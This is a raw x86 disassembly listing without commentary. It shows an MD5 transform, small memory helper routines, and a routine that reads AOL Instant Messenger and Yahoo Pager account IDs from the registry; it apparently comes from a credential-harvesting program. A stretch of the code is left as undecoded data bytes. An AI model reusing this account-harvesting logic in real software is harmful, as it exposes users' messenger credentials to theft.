mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_435A60
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_434DA0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435950 proc near ; CODE XREF: sub_434D10+14p
; sub_434D10+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_435997
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43596A: ; CODE XREF: sub_435950+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43596A
pop esi
loc_435997: ; CODE XREF: sub_435950+7j
pop edi
retn
sub_435950 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_435A0A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4359DD: ; CODE XREF: sub_4359C0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4359DD
pop edi
pop esi
loc_435A0A: ; CODE XREF: sub_4359C0+7j
pop ebp
retn
sub_4359C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep
; sub_434C30+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_435A4C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_435A43: ; CODE XREF: sub_435A30+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_435A43
loc_435A4C: ; CODE XREF: sub_435A30+7j
pop esi
retn
sub_435A30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A60 proc near ; CODE XREF: sub_434D10+60p
; sub_434DA0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_435A8E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_435A8E: ; CODE XREF: sub_435A60+6j
retn
sub_435A60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_435AA0 proc near ; CODE XREF: sub_401C21j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_435AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_435AA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+30h]
push 7
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435B90: ; CODE XREF: ___:loc_401F3Cj
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43D116
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436148
push 80h
mov dword ptr [esp+1Ch], 800h
call near ptr 77C2C407h
nop
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_444600 ; " "
push 1
push eax
call sub_4016B8
push 800h
mov dword ptr [esp+16F0h], 0
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0E43D89C0h
dd 0F3005103h, 779CBEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h
dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh, 0C08508C4h
dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h
dd 0F0685204h, 55004445h, 0B10E890h, 0B9001Ch, 33000002h
dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0E8BF0000h, 0F3005103h
dd 3E4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0
dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D3868h
dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah
dd 51500000h, 4D808568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
dd 4DA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
dd 448F40h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h
dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
dd 424848Dh, 51000001h, 44C75250h, 4424h, 5DE80000h, 900248A2h
dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 49A217E8h
dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
dd 55004446h, 20244489h, 9A0E890h, 0B9001Ch, 33000002h
dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0E8BF0000h, 0F3005103h
dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
dd 250A1BCh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh
dd 0E8905210h, 24DA190h, 8D08568Bh, 8D182444h, 6E4248Ch
dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
dd 444D38h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h
dd 9487h, 68515000h, 4D8085h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
dd 29E89052h, 8B024DA1h, 8B24247Ch, 47142444h, 7C89F83Bh
dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
dd 10C683FFh, 79ECFE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh
dd 448D0051h, 68501C24h, 20019h, 7868006Ah, 6800447Bh
dd 80000002h, 302444C7h, 0
dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
dd 6A525100h, 68006A00h, 448A34h, 85D3FF50h, 0BE850FC0h
dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B6C6800h
dd 0F08B0044h, 8A246851h, 90560044h, 1C0829E8h, 4E746800h
dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h
dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
dd 448D5374h, 0C687C24h, 5000448Ah, 1C9EE890h, 0C4837781h
dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89F06851h, 4A8D0044h
dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah
dd 52510000h, 4D808568h, 0B855E800h, 0C483FFFCh, 0A6E85718h
dd 907780AAh, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h
dd 24448B04h, 0D9E8501Ch, 90024D9Fh, 1C244C8Dh, 182444C7h
dd 80h, 196851h, 6A0002h, 4489C868h, 26800h, 0D5FF8000h
dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h
dd 8A346800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h, 4489C0h
dd 6852F08Bh, 4489B0h, 1BE89056h, 68001C07h, 444E74h, 8F72E856h
dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44899468h
dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h, 16F4249Ch
dd 548D0000h, 68527C24h, 448978h, 0E8694B8Dh, 0FFFCB3EDh
dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8085h, 0FCB74EE8h
dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h
dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024D9Eh
dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
dd 184h
; ---------------------------------------------------------------------------
loc_436148: ; CODE XREF: ___:00435BD1j
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4362CC
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_448910
push ecx
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 28F0000h
test eax, eax
jz short loc_4361D2
mov edx, [esp+10h]
push edx
nop
call near ptr 2910000h
jmp loc_4362CC
; ---------------------------------------------------------------------------
loc_4361D2: ; CODE XREF: ___:004361C0j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_511740
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_448904
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
call near ptr 28F0000h
nop
test eax, eax
jz short loc_436289
mov ecx, [esp+10h]
push ecx
call ebp
